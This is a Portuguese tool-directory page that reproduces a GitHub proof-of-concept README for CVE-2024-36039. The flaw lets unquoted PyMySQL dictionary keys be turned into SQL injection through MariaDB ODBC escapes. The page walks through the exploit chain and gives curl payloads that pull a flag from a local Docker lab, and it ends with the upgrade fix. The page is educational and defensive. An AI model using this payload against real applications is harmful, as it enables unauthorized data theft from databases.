Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-36039_PoC — PoC para CVE-2024-36039: Demonstrando Injeção SQL via falha de serialização Object-to-String do PyMySQL | Kitploit
Ferramentas/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoSegurança de Banco de DadosLabs e Prática
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

PoC para CVE-2024-36039: Demonstrando Injeção SQL via falha de serialização Object-to-String do PyMySQL

Ver Repositório
13há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-36039: PoC de Injeção de Objeto para Injeção de SQL no PyMySQL

Docker Python MariaDB Vulnerability CVE

Um laboratório completo e reproduzível de Prova de Conceito (PoC) para CVE-2024-36039, demonstrando como uma vulnerabilidade de Injeção de Objeto no PyMySQL (versões <= 1.1.0) pode ser elevada a uma Injeção de SQL completa usando as Sequências de Escape ODBC do MariaDB.


⚠️ AVISO LEGAL E ÉTICO (USO SOMENTE ÉTICO)

  • Este repositório é para fins exclusivamente acadêmicos e de pesquisa.
  • O código e as técnicas fornecidos NÃO devem ser usados para interferir em qualquer sistema que você não possua ou para o qual não tenha permissão explícita por escrito para testar.
  • O autor/contribuidores NÃO são responsáveis por quaisquer consequências ou danos causados pelo uso indevido destas informações.
  • Ao usar este repositório, você concorda em cumprir estes termos.

  • 📖 1. Visão Geral da Vulnerabilidade

    CVE-2024-36039 é uma vulnerabilidade no PyMySQL, uma biblioteca cliente MySQL em Python puro.

    Quando consultas parametrizadas (ex.: execute("SELECT * FROM table WHERE data = %s", (my_dict,))) recebem um dicionário Python em que as chaves são objetos personalizados em vez de strings padrão, o PyMySQL usa o método __str__ ou __repr__ do objeto para serializá-lo em uma string SQL.

    O Bug: o PyMySQL esquece de escapar (envolver em aspas simples) a string resultante da chave do objeto. Isso resulta em uma string bruta, sem aspas, sendo injetada diretamente na instrução SQL formatada como um dicionário: {UnquotedObjectString: 'EscapedValue'}.


    🔬 2. Análise Técnica Aprofundada: O Truque ODBC do MariaDB

    Por si só, injetar {UnquotedKey: 'Value'} em uma consulta MariaDB acionará um 1064 Syntax Error porque {} não é sintaxe padrão de dados SQL.

    No entanto, o MariaDB/MySQL suporta Sequências de Escape ODBC, que usam chaves {}. Para contornar o erro de sintaxe, a string imediatamente após o { deve ser uma palavra-chave ODBC válida (ex.: d, t, ts, fn).

    A Cadeia de Exploração:

    1. A Chave do Objeto (O Ponto de Injeção): Criamos um objeto personalizado que retorna fn/* por meio do seu método __repr__.
    2. O Valor (O Payload): Definimos o valor do dicionário como */ 1} UNION SELECT 1, flag, 3 FROM secret -- .
    3. Serialização do PyMySQL: o PyMySQL formata este dicionário na consulta SQL sem colocar aspas na chave:
      root@kitploit:~
      SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
      
    4. A Mágica do Parsing do MariaDB:
      • {fn : o MariaDB reconhece o início de uma função escalar ODBC.
      • /*: "'*/ : o MariaDB trata isso como um comentário de bloco. Os dois-pontos : e a aspa de abertura ' gerados pelo PyMySQL são completamente ignorados!
      • 1} : Completa a função ODBC (efetivamente retornando o inteiro 1).
      • UNION SELECT 1, flag, 3 FROM secret : Nosso payload SQL injetado é executado.
      • -- '"} : O comentário SQL ignora o restante do lixo final ('}).

    Resultado: Uma Injeção de SQL impecável que contorna tanto a lógica da aplicação quanto a parametrização do PyMySQL!


    🛠️ 3. Instruções de Configuração do Laboratório

    Pré-requisitos

    • Docker
    • Docker Compose

    Instalação

    Clone este repositório e suba o ambiente:

    root@kitploit:~
    git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
    cd CVE-2024-36039-PoC
    docker-compose up -d --build
    

    (Aguarde cerca de 15 a 20 segundos para o contêiner MariaDB inicializar completamente).


    🎯 4. Etapas de Exploração

    Etapa 1: Requisição Normal

    Envie uma requisição JSON padrão. O backend converterá a chave JSON em um objeto CustomKey.

    root@kitploit:~
    curl -X POST http://localhost:9669/search \
         -H "Content-Type: application/json" \
         -d '{"yamato": "Any_value"}'
    

    Resposta: Você receberá um Erro de Sintaxe SQL indicando que {yamato: "'Any_value'"} é SQL inválido, confirmando o ponto de injeção.

    Etapa 2: O Exploit (Extraindo a Flag)

    Injete o payload de sequência de escape ODBC para contornar o erro de sintaxe e extrair a flag oculta da tabela secret.

    root@kitploit:~
    curl -X POST http://localhost:9669/search \
         -H "Content-Type: application/json" \
         -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
    

    Resposta (PWNED!):

    root@kitploit:~
    {
      "data":[
        {
          "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
          "id": 1,
          "log_data": "3"
        }
      ],
      "status": "success"
    }
    

    🛡️ 5. Remediação

    Para corrigir esta vulnerabilidade, atualize o PyMySQL para a versão 1.1.1 ou posterior.

    Nas versões corrigidas, os desenvolvedores garantem que todas as chaves do dicionário, independentemente do tipo, sejam devidamente escapadas e recebam aspas antes de serem inseridas na instrução SQL.

    root@kitploit:~
    pip install --upgrade PyMySQL
    

    📚 6. Créditos e Referências

    • Advisory CVE-2024-36039: NVD - CVE-2024-36039
    • Correção de Segurança do PyMySQL: PyMySQL GitHub Release v1.1.1
    • Sequências de Escape ODBC do MariaDB: Documentação do MariaDB.
    • Inspiração: Este ambiente de laboratório foi modelado com base em técnicas modernas de exploração web envolvendo falhas de serialização de objeto para string.

    Aviso: Este repositório foi criado apenas para fins educacionais e de pesquisa. Não use estas técnicas contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.

    © 2026 por zenniskayy. Feito para uma internet mais segura.

    Baixar ferramenta